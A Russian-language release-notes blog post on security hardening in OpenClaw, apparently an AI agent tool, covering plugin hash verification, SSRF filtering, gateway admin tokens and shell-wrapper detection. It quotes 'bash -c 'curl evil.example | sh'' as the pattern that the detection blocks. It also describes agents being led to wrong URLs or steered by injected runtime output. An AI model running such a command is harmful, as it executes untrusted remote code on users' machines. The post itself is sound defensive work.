Большую часть этого блока релизов нельзя будет увидеть на скриншоте. Десять дней, восемь релизов, и основная масса diff лежит в тех местах, куда ты никогда не смотришь, пока что-нибудь не сломалось, — plugin loader, URL-резолвер browser-инструмента, config-endpoint-ы gateway, allowlist-таблицы, манифест зависимостей. Работа над безопасностью по замыслу тихая. Этот пост — длинная версия тишины.
Если ты гоняешь OpenClaw на ноутбуке, на котором лежат и твои SSH-ключи, и твой менеджер паролей, и твоя недооформленная налоговая декларация, и браузер, залогиненный везде, — читай дальше. Это тот блок релизов, который поменял то, что лобстеру разрешено трогать.
Plugin-ы теперь проверяют, а не просто качают
До 4.7 установка плагина из registry делала то, что ты бы ожидал: вытащить архив, распаковать, запустить. Registry как таковой считался доверенным; сам архив повторно не проверялся. Если бы CDN registry подменили посередине передачи, или зеркало отравили, или кто-то перехватил на краю, лобстер бы радостно поставил то, что пришло обратно.
4.7 закрывает эту дорогу. Каждый архив плагина теперь привязан к SHA-256 хешу на момент публикации, и установщик отказывается распаковывать что-либо, чьи байты не совпадают. Если ты пишешь плагины, процесс openclaw plugin publish теперь автоматически впечатывает хеш в manifest — тебе ничего делать не надо. Если ты ставишь плагины, первый признак того, что что-то не так, — это чистая ошибка, а не молчаливая установка.
Доводка в 4.9 распространила ту же проверку на обновления плагинов, которые до этого молча пропускали check на том основании, что предыдущая версия уже прошла. Это ровно тот тип допущений, которые ищут атакующие. Его больше нет.
SSRF-фильтр browser-инструмента, три раза подряд
Browser-инструмент позволяет лобстеру тащить страницы, ходить по ссылкам, выполнять небольшие порции JavaScript и возвращать то, что нашёл. Это одна из самых полезных вещей в продукте — и одновременно одна из самых опасных: всё, что ходит по URL от имени LLM, можно уговорить сходить по неправильным URL. Server-Side Request Forgery (SSRF) — вежливое название для этого режима отказа.
За эти десять дней SSRF-фильтр переписали три раза.
4.7 подтянул проверку host allowlist так, чтобы она работала после резолва DNS, а не до. Старая версия сначала сравнивала строку hostname с allowlist, и только потом резолвила. Это означало, что hostname, который выглядел внешним, но резолвился в 127.0.0.1 через контролируемую DNS-запись, мог проскочить. Теперь резолвленный IP сверяется с denylist-ом приватных и loopback-диапазонов, и если он попадает внутрь — запрос отклоняется независимо от того, как выглядело имя.
4.9 добавил покрытие IPv6. Предыдущий проход обрабатывал 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 127.0.0.0/8 и link-local — всё IPv4. Эквиваленты IPv6 (fc00::/7, fe80::/10, ::1) технически закрывались fallback-ом «не в allowlist», но end-to-end их никто не тестировал. 4.9 делает их полноценными deny-правилами первого класса и добавляет матрицу тестов.
4.10 закрыл дыру в отслеживании редиректов. Если первый URL прошёл фильтр, но отдавал 302 на приватный IP, редирект шёл без повторной проверки. Теперь каждый hop в цепочке редиректов фильтруется независимо. Browser-инструмент будет целый день ходить с публичного хоста на публичный хост; но он не пойдёт с публичного хоста на 169.254.169.254 — тот самый адрес, который имеет значение, если ты гоняешь эту штуку внутри облачной инстанции.
4.14 — та, которая реально сломает совместимость для какой-то части людей. Она полностью отключает file:// URL из поверхности browser-инструмента. Чтение локальных файлов через browser-инструмент было недокументированным побочным эффектом, на который успело опереться несколько workflow, и это было неправильно: чтение локальных файлов — это зона ответственности file-инструмента, у которого свой sandboxing. Если ты использовал browser.open('file://...') как шорткат, тебе нужно переключиться на file.read и принять ту allowlist, которую этот инструмент применяет у тебя в setup-е.
Новый CLI для аудита того, что лобстер может выполнить
4.10 отгружает openclaw exec-policy — read-only CLI, который дампит эффективную политику shell-выполнения для текущего workspace. На одном экране он говорит тебе, какие команды в allowlist, какие запрещены, какие требуют подтверждения, и откуда пришло каждое правило (user-config, workspace-config, плагин, default).
Это именно та вещь, которую надо запустить сразу после установки нового плагина. Плагины могут регистрировать shell-команды; большинство из них нормальны; некоторые тихо расширяют то, что лобстер может выполнить. До 4.10 не было единой поверхности, чтобы увидеть результирующую картину — тебе приходилось читать несколько config-файлов и самому рассуждать про приоритеты. Теперь это одна команда, и её вывод достаточно стабильный, чтобы пайпить в тест.
Сопровождающее изменение в 4.12 поменьше, но злое: execution-слой теперь детектит вызовы shell-обёрток, которые пытаются протащить команды мимо allowlist. Классический паттерн — bash -c 'curl evil.example | sh', когда bash разрешён, а curl — нет. Детекция обёрток отмечает форму -c, разворачивает внутреннюю строку команды и прогоняет внутреннюю команду через allowlist так, как будто её вызвали напрямую. Если внутренняя команда была бы отказана, внешняя обёртка отказывается тоже.
Config-endpoint-ы gateway получили стражей
Если ты гоняешь OpenClaw в режиме gateway — том режиме, где несколько клиентов шарят одного лобстера — gateway выставляет небольшой admin API для чтения и записи серверного конфига. 4.7 и 4.14 подтянули этот конец.
4.7 разделил config.apply (заменить весь config) и config.patch (смержить частичное обновление). Оба существовали и раньше, но делили один код-path, и семантика merge была недоопределена настолько, что ты мог стереть вложенный admin-ключ, запатчив соседнее поле. Разделение даёт каждому глаголу свой валидатор. Patch теперь настоящий глубокий merge, причём явное удаление требует sentinel $delete; apply требует полный валидный config, иначе запрос отклоняется.
4.14 добавил требование подписанного токена на обоих endpoint-ах, когда gateway привязан к чему-либо кроме localhost. Если ты гонял gateway на dev-машине с --host 0.0.0.0 и полагался на сегментацию сети, чтобы держать чужих снаружи, — gateway теперь отказывается стартовать в такой конфигурации, если только ты не передашь --admin-token или явно не откажешься через --admin-insecure. Имя флага сделано нарочито некрасивым. Чтобы вернуть старое поведение, ты должен своими руками набрать слово «insecure».
Креды, которые по ошибке были template-данными
4.12 починил давнюю некрасивую штуку: файл .env.example, который поставляется с новыми workspace-ами, содержал placeholder-API-ключи, выглядевшие достаточно реалистично, чтобы как минимум один пользователь закоммитил их в публичный репозиторий, думая, что они фиктивные. Они и были фиктивные — значения все из нулей и невалидные в любом провайдере, — но по форме это были креды, и linter-ы, на которых мы проверяли, репортили их как утечку. Новый .env.example использует откровенно фейковые токены (REPLACE_ME_OR_I_WILL_FAIL), а процесс openclaw init отказывается писать .env, в котором есть хоть одно из этих sentinel-значений.
Мелочь. Последствия невелики. Но цена починки — один вечер, а цена непочинки — ещё один публичный инцидент, который нам пришлось бы объяснять.
Границы allowlist, тихо подтянутые
По всему блоку релизов таблицы allowlist, сидящие между лобстером и внешним миром, стали плотнее маленькими, конкретными способами:
- •4.5: output-директория music-инструмента по умолчанию
./generated/music, а не туда, куда workspace случайно решает, что значит «output». - •4.7: источники memory import ограничены
file://,https://и конкретными URL провайдеров. Старый код принимал любую URL-scheme, которуюurllibмог распарсить, — а в эту коллекцию входили некоторые неожиданные. - •4.9: upload-путь инструмента генерации видео больше не принимает абсолютные пути за пределами корня workspace.
- •4.10: манифесты плагинов больше не могут объявлять
*как allowlist-паттерн. Им нужно перечислять конкретные домены или методы. - •4.14: выделенный клиент Codex-провайдера уважает отдельную allowlist, отличную от унифицированной, — так что затягивание Codex не ослабляет случайно всё остальное.
Ни одно из этих изменений в отрыве не тянет на историю. Вместе они двигают радиус взрыва в правильную сторону.
Доверие к runtime-событиям, понижено
Более тонкое изменение, проходящее через 4.7, 4.9 и 4.14: события, приходящие из рантайма (вызовы инструментов, выводы модели, callback-и плагинов), больше не считаются доверенным входом для policy-движка. Раньше инструмент, испускающий структурированное событие, мог влиять на последующие решения allowlist через данные, которые он сам и контролировал, — тот самый классический провал «prompt injection касается policy-слоя». Runtime-события теперь проходят отдельный шаг санитизации, прежде чем могут повлиять на любую последующую оценку policy, а policy-движок по умолчанию считает любое поле, чья provenance — «runtime», заражённым, пока человек-оператор явно его не закрепит.
На практике это означает, что некоторые пограничные workflow, зависевшие от того, что собственный вывод инструмента лобстера сужает его же поведение, придётся переписать. Предполагаемый способ сужать поведение теперь — это написать policy-правило, а не заставлять инструмент испускать подсказку. Если ты в это упёрся, CLI exec-policy из 4.10 — это твой диагностический инструмент.
Аудит зависимостей
4.9 и 4.14 оба прогнали полные проходы cargo audit и npm audit и подтянули каждую транзитивную зависимость с открытым advisory. Ничто из списка, насколько мы можем видеть, не эксплуатировалось против OpenClaw; это техобслуживание, а не реакция на инцидент. Эти bump-ы нарочно скучные.
Единственный нескучный bump: WebSocket-библиотека, которой пользуется gateway, перешла через мажорную версию в 4.14, что изменило то, как close frame-ы сообщают reason code. Если у тебя был код, читающий event.reason на сигнале disconnect-а gateway-сокета, — теперь это строка вместо buffer-а. Это breaking change. Его отдельно отметили в changelog 4.14.
Новый сигнал: security-аудит с помощью AI
Последняя вещь, которую стоит назвать, — 4.14 ввёл внутренний workflow, в котором второй модель проходит по security-релевантным diff-ам до того, как они зальются. Он не блокирует merge; он оставляет комментарии. В этом блоке он поймал две вещи, которые человек-ревьюер пропустил: дыру в IPv6 в переписывании SSRF из 4.9 (её починили до merge) и неоднозначность sentinel-а $delete в разделении config.patch из 4.7 (которая стала явным валидатором вместо неявного).
Не хотим переобщать. Вторая модель — не замена второму человеку. Но это второй проход, и за десять дней быстро двигающейся security-работы именно этот проход поймал те две вещи, которые иначе бы ушли в прод. Он остаётся.
Короткая версия
Если из этого поста ты вынесешь одну вещь: запусти openclaw update, чтобы доехать до 4.14, потом один раз запусти openclaw exec-policy, чтобы увидеть, что лобстер реально может делать на твоей машине. Если вывод тебя удивит — подтяни. Весь смысл последних десяти дней в том, что теперь ты можешь.
А если ты из тех, кто гоняет gateway на --host 0.0.0.0 без admin-токена, — пожалуйста, почини это до того, как запустить openclaw update, потому что 4.14 откажется стартовать, пока ты не починишь, и мы предпочитаем, чтобы ты сначала прочёл этот пост, а не увидел сообщение об ошибке и предположил, что что-то сломалось.
